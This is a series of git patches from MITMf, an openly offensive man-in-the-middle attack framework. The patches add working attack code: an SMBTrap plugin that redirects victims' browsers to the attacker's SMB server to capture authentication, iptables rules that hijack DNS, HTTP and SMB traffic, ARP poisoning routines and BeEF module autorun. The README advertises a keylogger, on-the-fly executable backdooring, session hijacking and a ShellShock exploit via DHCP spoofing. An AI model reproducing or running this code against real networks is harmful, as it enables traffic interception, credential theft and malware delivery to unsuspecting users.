self.config["MITMf"]["SMB"]["Shares"]: + path = self.config["MITMf"]["SMB"]["Shares"][share]['path'] + readonly = self.config["MITMf"]["SMB"]["Shares"][share]['readonly'].lower() + server.addShare(share.upper(), path, readOnly=readonly) + + server.setSMBChallenge(self.smbchallenge) + server.setLogFile('') + + elif self.server_type == 'karma': + + formatter = logging.Formatter("%(asctime)s [KarmaSMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + self.configureLogging(formatter) + + server = KarmaSMBServer(self.smbchallenge, self.smb_port) + server.defaultFile = self.config["MITMf"]["SMB"]["Karma"]["defaultfile"] + + for extension, path in self.config["MITMf"]["SMB"]["Karma"].iteritems(): + server.extensions[extension.upper()] = os.path.normpath(path) + + else: + shutdown("\n[-] Invalid SMB server type specified in config file!") + + return server + except socketerror as e: if "Address already in use" in e: - shutdown("\n[-] Unable to start SMB server on port 445: port already in use") + shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(listenPort)) + + def configureLogging(self, formatter): + #yes I know this looks awful, yuck + + LOG.setLevel(logging.INFO) + LOG.propagate = False + logging.getLogger('smbserver').setLevel(logging.INFO) + logging.getLogger('impacket').setLevel(logging.INFO) + + fileHandler = logging.FileHandler("./logs/mitmf.log") + streamHandler = logging.StreamHandler(sys.stdout) + fileHandler.setFormatter(formatter) + streamHandler.setFormatter(formatter) + LOG.addHandler(fileHandler) + LOG.addHandler(streamHandler) def start(self): - t = threading.Thread(name='SMBserver', target=self.server.start) + t = threading.Thread(name='SMBserver', target=self.parseConfig().start) t.setDaemon(True) t.start() - -""" -class SMBserver(Thread): - def __init__(self): - Thread.__init__(self) - - def run(self): - # Here we write a mini config for the server - smbConfig = ConfigParser.ConfigParser() - smbConfig.add_section('global') - smbConfig.set('global','server_name','server_name') - smbConfig.set('global','server_os','UNIX') - smbConfig.set('global','server_domain','WORKGROUP') - smbConfig.set('global','log_file', 'None') - smbConfig.set('global','credentials_file','') - - # Let's add a dummy share - #smbConfig.add_section(DUMMY_SHARE) - #smbConfig.set(DUMMY_SHARE,'comment','') - #smbConfig.set(DUMMY_SHARE,'read only','no') - #smbConfig.set(DUMMY_SHARE,'share type','0') - #smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) - - # IPC always needed - smbConfig.add_section('IPC$') - smbConfig.set('IPC$','comment','') - smbConfig.set('IPC$','read only','yes') - smbConfig.set('IPC$','share type','3') - smbConfig.set('IPC$','path') - - self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) - - self.smb.processConfigFile() - try: - self.smb.serve_forever() - except: - pass - - def stop(self): - self.smb.socket.close() - self.smb.server_close() - self._Thread__stop() -""" \ No newline at end of file diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 0126675..8e9525c 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -72,7 +72,12 @@ class ServerConnection(HTTPClient): def sendRequest(self): if self.command == 'GET': try: - mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host'])) + + if ('Unknown' in self.clientInfo[0]) or ('Unknown' in self.clientInfo[1]): + mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) + else: + mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host'])) + except Exception as e: mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e)) mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) @@ -120,10 +125,12 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - try: - version, code, message = self.plugins.hook() - except ValueError: - pass + + values = self.plugins.hook() + + version = values['version'] + code = values['code'] + message = values['message'] mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) diff --git a/core/utils.py b/core/utils.py index 9aa8898..42a9aa2 100644 --- a/core/utils.py +++ b/core/utils.py @@ -69,8 +69,9 @@ class IpTables: _instance = None def __init__(self): - self.dns = False - self.http = False + self.dns = False + self.http = False + self.smb = False @staticmethod def getInstance(): @@ -90,11 +91,16 @@ class IpTables: os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port)) self.http = True - def DNS(self, ip, port): - mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}:{}".format(ip, port)) - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to {}:{}'.format(ip, port)) + def DNS(self, dns_redir_port): + mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port)) + os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port)) self.dns = True + def SMB(self, smb_redir_port): + mitmf_logger.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port)) + os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port)) + self.smb = True + class Banners: banner1 = """ diff --git a/mitmf.py b/mitmf.py index af53f6f..efa0f8d 100755 --- a/mitmf.py +++ b/mitmf.py @@ -179,12 +179,12 @@ print "|_ DNSChef v{} online".format(DNSChef.version) #Start the HTTP Server from core.servers.http.HTTPServer import HTTPServer HTTPServer.getInstance().start() -print "|_ HTTPserver online" +print "|_ HTTP server online" #Start the SMB server from core.servers.smb.SMBserver import SMBserver -print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver) -SMBserver().start() +print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) +SMBserver.getInstance().start() #start the reactor reactor.run() diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py index 157c1d5..aba0d5d 100644 --- a/plugins/SMBTrap.py +++ b/plugins/SMBTrap.py @@ -17,7 +17,7 @@ class SMBTrap(Plugin): self.ourip = SystemConfig.getIP(options.interface) def serverResponseStatus(self, request, version, code, message): - return (version, 302, "Found") + return {"request": request, "version": version, "code": 302, "message": "Found"} def serverHeaders(self, response, request): mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index 2acda8c..b346b35 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -22,7 +22,6 @@ import sys import logging from plugins.plugin import Plugin -from core.utils import IpTables, SystemConfig from core.sslstrip.URLMonitor import URLMonitor from core.servers.dns.DNSchef import DNSChef @@ -37,11 +36,10 @@ class HSTSbypass(Plugin): def initialize(self, options): self.options = options self.manualiptables = options.manualiptables - ip_address = SystemConfig.getIP(options.interface) if not options.manualiptables: if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(ip_address, self.config['MITMf']['DNS']['port']) + IpTables.getInstance().DNS(self.config['MITMf']['DNS']['port']) URLMonitor.getInstance().setHstsBypass() DNSChef.getInstance().setHstsBypass() diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 02fcda9..b4fd9ca 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -49,7 +49,7 @@ class Spoof(Plugin): #Makes scapy more verbose debug = False if options.log_level == 'debug': - debug = True + debug = False if options.arp: @@ -98,9 +98,7 @@ class Spoof(Plugin): if not options.manualiptables: if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(self.myip, self.dnscfg['port']) - - DNSChef.getInstance().loadRecords(self.dnscfg) + IpTables.getInstance().DNS(self.dnscfg['port']) if not options.arp and not options.icmp and not options.dhcp and not options.dns: shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") @@ -108,7 +106,6 @@ class Spoof(Plugin): SystemConfig.setIpForwarding(1) if not options.manualiptables: - IpTables.getInstance().Flush() if IpTables.getInstance().http is False: IpTables.getInstance().HTTP(options.listen) diff --git a/plugins/TestPlugin.py b/plugins/TestPlugin.py index 4fd212c..d3b0806 100644 --- a/plugins/TestPlugin.py +++ b/plugins/TestPlugin.py @@ -1,6 +1,5 @@ from plugins.plugin import Plugin -from core.servers.http.HTTPServer import HTTPServer -import tornado.web +from core.servers.http.HTTPServer import HTTPServer, HTTPHandler class TestPlugin(Plugin): name = "testplugin" @@ -10,9 +9,8 @@ class TestPlugin(Plugin): has_opts = False def initialize(self, options): - HTTPServer.getInstance().addHandler(r"/test/(.*)", MainHandler) + HTTPServer.getInstance().addHandler(r"/test/.*", WebServer) -class MainHandler(tornado.web.RequestHandler): +class WebServer(HTTPHandler): def get(self): - print self.request - self.write("Hello World!") + self.write("It works MOFO!") \ No newline at end of file diff --git a/plugins/plugin.py b/plugins/plugin.py index 1d9b82b..053adc4 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -46,7 +46,7 @@ class Plugin(ConfigWatcher, object): ''' Handles server response HTTP version, code and message ''' - return (version, code, message) + return {"request": request, "version": version, "code": code, "message": message} def serverResponse(self, response, request, data): ''' From 61d602c5f0e178001e65d011ec861f453a793423 Mon Sep 17 00:00:00 2001 From: Dillon Korman Date: Sun, 31 May 2015 12:11:12 -1000 Subject: [PATCH 188/323] Cleaned up readme Various improvements with grammar and style. --- README.md | 60 +++++++++++++++++++++++++++---------------------------- 1 file changed, 30 insertions(+), 30 deletions(-) diff --git a/README.md b/README.md index 3a43c32..49dd3e8 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ MITMf V0.9.7 Framework for Man-In-The-Middle attacks -Quick tutorials, examples and dev updates at http://sign0f4.blogspot.it +Quick tutorials, examples and developer updates at: http://sign0f4.blogspot.it This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. @@ -12,25 +12,25 @@ Contact me at: - IRC on Freenode: #MITMf - Email: byt3bl33d3r@gmail.com -**Before submitting issues please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).** +**Before submitting issues, please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).** Available plugins ================= -- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser +- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a client's browser - ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner - ```SSLstrip+``` - Partially bypass HSTS -- ```Spoof``` - Redirect traffic using ARP Spoofing, ICMP Redirects or DHCP Spoofing -- ```BeEFAutorun``` - Autoruns BeEF modules based on clients OS or browser type -- ```AppCachePoison``` - Perform App cache poisoning attacks +- ```Spoof``` - Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing +- ```BeEFAutorun``` - Autoruns BeEF modules based on a client's OS or browser type +- ```AppCachePoison``` - Perform app cache poisoning attacks - ```Ferret-NG``` - Transperently hijacks sessions - ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients - ```CacheKill``` - Kills page caching by modifying headers -- ```FilePwn``` - Backdoor executables being sent over HTTP using the Backdoor Factory and BDFProxy +- ```FilePwn``` - Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy - ```Inject``` - Inject arbitrary content into HTML content - ```BrowserSniper``` - Performs drive-by attacks on clients with out-of-date browser plugins -- ```jskeylogger``` - Injects a javascript keylogger into clients webpages +- ```jskeylogger``` - Injects a Javascript keylogger into a client's webpages - ```Replace``` - Replace arbitary content in HTML content -- ```SMBAuth``` - Evoke SMB challenge-response auth attempts +- ```SMBAuth``` - Evoke SMB challenge-response authentication attempts - ```Upsidedownternet``` - Flips images 180 degrees Changelog @@ -40,50 +40,50 @@ Changelog - ```SessionHijacker``` is replaced with ```Ferret-NG```, captures cookies and starts a proxy that will feed them to connected clients -- ```JavaPwn``` plugin replced with ```BrowserSniper```, now supports java, flash and browser exploits +- ```JavaPwn``` plugin replced with ```BrowserSniper```, now supports Java, Flash and browser exploits -- Addition of the ```Screenshotter``` plugin, able to render screenshots of a clients browser at regular intervals +- Addition of the ```Screenshotter``` plugin, able to render screenshots of a client's browser at regular intervals - Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library -- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server ! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' +- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' - Integrated [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: - FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc..) and Kerberos + FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos -- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS, and act as a WPAD rogue server. +- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS and act as a rogue WPAD server - Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 -- ```Spoof``` plugin can now exploit the 'ShellShock' bug when DHCP spoofing! +- ```Spoof``` plugin can now exploit the 'ShellShock' bug when DHCP spoofing - ```Spoof``` plugin now supports ICMP, ARP and DHCP spoofing -- Usage of third party tools has been completely removed (e.g. ettercap) +- Usage of third party tools has been completely removed (e.g. Ettercap) - ```FilePwn```plugin re-written to backdoor executables zip and tar files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) -- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploits rpc server +- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploit's RPC server - Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI -- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) +- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here: http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) How to install on Kali ====================== ```apt-get install mitmf``` -**Currently Kali has a very old version of MITMf in it's repos, read the [Installation](#installation) section to get the latest version** +**Currently Kali has a very old version of MITMf in its repos, read the [Installation](#installation) section to get the latest version** Installation ============ -If MITMf is not in your distros repo or you just want the latest version: -- Clone this repository +If MITMf is not in your distro's repo or you just want the latest version: +- Run the command ```git clone https://github.com/byt3bl33d3r/MITMf.git``` to clone this directory - Run the ```setup.sh``` script -- Run the command ```pip install --upgrade -r requirements.txt``` to install all python dependencies +- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies -On Kali Linux, if you get an error while installing the ```pypcap``` package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pypcap``` to fix it. +On Kali Linux, if you get an error while installing the ```pypcap``` package or when starting MITMf you see: ```ImportError: no module named pcap```, run ```apt-get install python-pypcap``` to fix it Submitting Issues ================= @@ -91,13 +91,13 @@ If you have *questions* regarding the framework please email me at byt3bl33d3r@g **Only submit issues if you find a bug in the latest version of the framework.** -When inevitably you do come across sed *bug*, please open an issue and include at least the following in the description: +When inevitably you do come across said *bug*, please open an issue and include at least the following in the description: - Full command string you used -- OS your using -- Full error traceback (If any) +- OS you're using +- Full error traceback, if any -Also remember: Github markdown is your friend! +Also, remember that Github markdown is your friend! FAQ === @@ -105,10 +105,10 @@ FAQ - No - **Is OSX supported?** -- Currently no, although with some tweaking (which I'll probably get around to in the near future) it should be able to run perfectly on OSX +- Currently no, although with some tweaking (which I'll probably get around to in the near future), it should be able to run perfectly on OSX. - **I can't install package X because of an error!** -- Try installing the package via ```pip``` or your distros package manager. This *isn't* a problem with MITMf. +- Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf. - **How do I install package X?** - Please read the [installation](#installation) guide. @@ -117,4 +117,4 @@ FAQ - Please read the [installation](#installation) guide. - **Dude, no documentation/video tutorials?** -- Currently no, once the framework hits 1.0 I'll probably start writing/making some. +- Currently no but once the framework hits 1.0, I'll probably start writing/making some. From 4de7d3e67e59b4d2380378571b9163029bec864e Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 2 Jun 2015 18:53:30 +0200 Subject: [PATCH 189/323] fixed a wrong var --- config/mitmf.conf | 2 +- plugins/BeefAutorun.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index 48b60f7..88308a5 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -24,7 +24,7 @@ # port = 445 - type = karma # Can be set to Normal or Karma + type = normal # Can be set to Normal or Karma # Set a custom challenge Challenge = 1122334455667788 diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 0f4bad9..6847217 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -43,7 +43,7 @@ class BeefAutorun(Inject, Plugin): Inject.initialize(self, options) - self.tree_output.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) + self.tree_info.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) self.onConfigChange() def onConfigChange(self): From c2354b9b6340f733012e184bbb442ede1ecb5184 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 2 Jun 2015 23:54:33 +0200 Subject: [PATCH 190/323] Merged the SMBTrap plugin to master and relative code changes --- README.md | 3 +++ core/sslstrip/ServerConnection.py | 14 +++++++++++++- plugins/SMBTrap.py | 24 ++++++++++++++++++++++++ plugins/plugin.py | 7 +++++++ 4 files changed, 47 insertions(+), 1 deletion(-) create mode 100644 plugins/SMBTrap.py diff --git a/README.md b/README.md index 3a43c32..c09f4b7 100644 --- a/README.md +++ b/README.md @@ -16,6 +16,7 @@ Contact me at: Available plugins ================= +- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients - ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser - ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner - ```SSLstrip+``` - Partially bypass HSTS @@ -36,6 +37,8 @@ Available plugins Changelog ========= +- Added the ```SMBTrap``` plugin + - Config file now updates on the fly! - ```SessionHijacker``` is replaced with ```Ferret-NG```, captures cookies and starts a proxy that will feed them to connected clients diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 74868f4..8e9525c 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -72,7 +72,12 @@ class ServerConnection(HTTPClient): def sendRequest(self): if self.command == 'GET': try: - mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host'])) + + if ('Unknown' in self.clientInfo[0]) or ('Unknown' in self.clientInfo[1]): + mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) + else: + mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host'])) + except Exception as e: mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e)) mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) @@ -120,6 +125,13 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): + + values = self.plugins.hook() + + version = values['version'] + code = values['code'] + message = values['message'] + mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py new file mode 100644 index 0000000..aba0d5d --- /dev/null +++ b/plugins/SMBTrap.py @@ -0,0 +1,24 @@ +import logging +import random +import string +from plugins.plugin import Plugin +from core.utils import SystemConfig + +mitmf_logger = logging.getLogger("mitmf") + +class SMBTrap(Plugin): + name = "SMBTrap" + optname = "smbtrap" + desc = "Exploits the SMBTrap vulnerability on connected clients" + version = "1.0" + has_opts = False + + def initialize(self, options): + self.ourip = SystemConfig.getIP(options.interface) + + def serverResponseStatus(self, request, version, code, message): + return {"request": request, "version": version, "code": 302, "message": "Found"} + + def serverHeaders(self, response, request): + mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) + response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8))) \ No newline at end of file diff --git a/plugins/plugin.py b/plugins/plugin.py index 0d5a324..053adc4 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -12,6 +12,7 @@ class Plugin(ConfigWatcher, object): optname = "generic" tree_info = list() desc = "" + version = "0.0" has_opts = False def initialize(self, options): @@ -41,6 +42,12 @@ class Plugin(ConfigWatcher, object): ''' pass + def serverResponseStatus(self, request, version, code, message): + ''' + Handles server response HTTP version, code and message + ''' + return {"request": request, "version": version, "code": code, "message": message} + def serverResponse(self, response, request, data): ''' Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images) From b0fa2e010d44b18063f0827c674a93519db28948 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 3 Jun 2015 01:44:12 +0200 Subject: [PATCH 191/323] fixed #108 --- plugins/FilePwn.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 2d40f54..b6dd919 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -590,7 +590,7 @@ class FilePwn(Plugin): if self.bytes_have_format(data, 'zip'): mitmf_logger.info("[FilePwn] {} Detected supported zip file type!".format(client_ip)) - process = multiprocessing.Process(name='zip', target=self.zip, args=(data,)) + process = multiprocessing.Process(name='zip', target=self.zip_files, args=(data,)) process.daemon = True process.start() #process.join() From ffdb4ff55ca8341103e0a9f13b0548cf3621f50f Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 5 Jun 2015 21:06:20 +0200 Subject: [PATCH 192/323] fixed DHCP and ICMP spoofing calling wrong vars --- plugins/Spoof.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 24b4f78..b35b2ef 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -77,7 +77,7 @@ class Spoof(Plugin): if not options.targets: shutdown("[-] --icmp argument requires --targets") - icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, options.ip_address) + icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, self.myip) icmp.debug = debug self.protocolInstances.append(icmp) @@ -87,7 +87,7 @@ class Spoof(Plugin): if options.targets: shutdown("[-] --targets argument invalid when DCHP spoofing") - dhcp = DHCPServer(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) + dhcp = DHCPServer(options.interface, self.dhcpcfg, self.myip, self.mymac) dhcp.shellshock = options.shellshock dhcp.debug = debug self.protocolInstances.append(dhcp) From d56ce5447e6ebf2029acbff96a03c8c96fc29786 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 6 Jun 2015 14:20:54 +0200 Subject: [PATCH 193/323] This commit should resolve issues #106 and #109 Issue #106 was caused by a 'None' value being returned when BeEF was unable to detect the hooked browser's OS Issue #109 was probably caused by locked resources when send() and sendp() where being called, adding in sleep() seems to have resolved the issue (at least on my machine) --- core/protocols/arp/ARPpoisoner.py | 5 +++-- plugins/BeefAutorun.py | 33 ++++++++++++++++--------------- plugins/Spoof.py | 2 +- 3 files changed, 21 insertions(+), 19 deletions(-) diff --git a/core/protocols/arp/ARPpoisoner.py b/core/protocols/arp/ARPpoisoner.py index 4b8858c..4e4ee55 100644 --- a/core/protocols/arp/ARPpoisoner.py +++ b/core/protocols/arp/ARPpoisoner.py @@ -14,7 +14,6 @@ class ARPpoisoner(): self.gatewaymac = getmacbyip(gateway) self.mymac = mac self.targets = self.getTargetRange(targets) - self.targetmac = None self.interface = interface self.arpmode = 'rep' self.debug = False @@ -48,7 +47,6 @@ class ARPpoisoner(): mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip)) mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac)) mitmf_logger.debug("[ARPpoisoner] targets => {}".format(self.targets)) - mitmf_logger.debug("[ARPpoisoner] targetmac => {}".format(self.targetmac)) mitmf_logger.debug("[ARPpoisoner] mymac => {}".format(self.mymac)) mitmf_logger.debug("[ARPpoisoner] interface => {}".format(self.interface)) mitmf_logger.debug("[ARPpoisoner] arpmode => {}".format(self.arpmode)) @@ -92,6 +90,7 @@ class ARPpoisoner(): elif targetmac: send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) + sleep(0.3) send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) except Exception, e: @@ -117,6 +116,7 @@ class ARPpoisoner(): elif targetmac: send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) + sleep(0.3) send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) except Exception, e: @@ -142,6 +142,7 @@ class ARPpoisoner(): mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) + sleep(0.3) send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) except Exception, e: diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 6847217..c77fcb9 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -106,20 +106,21 @@ class BeefAutorun(Inject, Plugin): mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) sleep(0.5) - mitmf_logger.info("{} >> sending targeted modules".format(session_ip)) for os in targeted_modules: - if (os in hook_os) or (os == hook_os): - browsers = targeted_modules[os] - if len(browsers) > 0: - for browser in browsers: - if browser == hook_browser: - modules = targeted_modules[os][browser] - if len(modules) > 0: - for module, options in modules.iteritems(): - mod_id = self.beef.module_id(module) - resp = self.beef.module_run(session, mod_id, json.loads(options)) - if resp["success"] == 'true': - mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) - else: - mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) - sleep(0.5) + if (hook_browser is not None) and (hook_os is not None): + mitmf_logger.info("{} >> sending targeted modules".format(session_ip)) + if (os in hook_os) or (os == hook_os): + browsers = targeted_modules[os] + if len(browsers) > 0: + for browser in browsers: + if browser == hook_browser: + modules = targeted_modules[os][browser] + if len(modules) > 0: + for module, options in modules.iteritems(): + mod_id = self.beef.module_id(module) + resp = self.beef.module_run(session, mod_id, json.loads(options)) + if resp["success"] == 'true': + mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) + else: + mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) + sleep(0.5) diff --git a/plugins/Spoof.py b/plugins/Spoof.py index b35b2ef..52d9e74 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -40,7 +40,7 @@ class Spoof(Plugin): self.dnscfg = self.config['MITMf']['DNS'] self.dhcpcfg = self.config['Spoof']['DHCP'] self.targets = options.targets - self.arpmode = 'rep' or options.arpmode + self.arpmode = options.arpmode or 'rep' self.manualiptables = options.manualiptables self.mymac = SystemConfig.getMAC(options.interface) self.myip = SystemConfig.getIP(options.interface) From 7110238fb2e3a79f1e73cf4c027267767f8ab14b Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 6 Jun 2015 19:26:23 +0200 Subject: [PATCH 194/323] This adds in error handling to avoid the 'Interrupted system call' error described in #109 *Note: this doesn't actually fix the problem --- core/protocols/arp/ARPpoisoner.py | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/core/protocols/arp/ARPpoisoner.py b/core/protocols/arp/ARPpoisoner.py index 4e4ee55..668ce48 100644 --- a/core/protocols/arp/ARPpoisoner.py +++ b/core/protocols/arp/ARPpoisoner.py @@ -93,8 +93,9 @@ class ARPpoisoner(): sleep(0.3) send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) - except Exception, e: - mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) pass sleep(self.interval) @@ -119,10 +120,11 @@ class 